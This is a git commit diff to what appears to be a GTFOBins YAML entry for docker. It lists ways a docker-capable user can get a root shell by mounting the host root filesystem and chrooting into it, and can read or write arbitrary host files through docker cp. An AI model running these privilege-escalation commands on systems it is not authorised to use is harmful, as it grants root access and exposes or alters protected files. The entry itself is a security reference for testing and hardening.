Allow to create new containers in docker file read and write

This commit is contained in:
Andrea Cardaci 2019-07-02 16:15:39 +02:00
parent 01f6117248
commit ce031a0d95

View File

@ -1,30 +1,32 @@
--- ---
description: | description: |
This requires the user to be privileged enough to run docker, i.e. being in the `docker` group or being `root`. This requires the user to be privileged enough to run docker, i.e. being in the `docker` group or being `root`.
Any other Docker Linux image should work, e.g., `debian`.
functions: functions:
shell: shell:
- description: Any other Docker Linux image should work, e.g., `debian`. The resulting is a root shell. - description: The resulting is a root shell.
code: docker run -v /:/mnt --rm -it alpine chroot /mnt sh code: docker run -v /:/mnt --rm -it alpine chroot /mnt sh
file-write: file-write:
- description: Write any file by copying it to an existing container and back to the target destination on the host. - description: Write a file by copying it to a temporary container and back to the target destination on the host.
code: | code: |
CONTAINER_ID=existing-docker-container CONTAINER_ID="$(docker run -d alpine)" # or existing
TF=$(mktemp) TF=$(mktemp)
echo "DATA" > $TF echo "DATA" > $TF
docker cp $TF $CONTAINER_ID:$TF docker cp $TF $CONTAINER_ID:$TF
docker cp $CONTAINER_ID:$TF file_to_write docker cp $CONTAINER_ID:$TF file_to_write
file-read: file-read:
- description: Read any file by copying it to an existing container and back to a new location on the host. - description: Read a file by copying it to a temporary container and back to a new location on the host.
code: | code: |
CONTAINER_ID=existing-docker-container CONTAINER_ID="$(docker run -d alpine)" # or existing
TF=$(mktemp) TF=$(mktemp)
docker cp file_to_read $CONTAINER_ID:$TF docker cp file_to_read $CONTAINER_ID:$TF
docker cp $CONTAINER_ID:$TF $TF docker cp $CONTAINER_ID:$TF $TF
cat $TF cat $TF
sudo: sudo:
- description: Any other Docker Linux image should work, e.g., `debian`. The resulting is a root shell. - description: The resulting is a root shell.
code: sudo docker run -v /:/mnt --rm -it alpine chroot /mnt sh code: sudo docker run -v /:/mnt --rm -it alpine chroot /mnt sh
suid: suid:
- description: Any other Docker Linux image should work, e.g., `debian`. The resulting is a root shell. - description: The resulting is a root shell.
code: ./docker run -v /:/mnt --rm -it alpine chroot /mnt sh code: ./docker run -v /:/mnt --rm -it alpine chroot /mnt sh
--- ---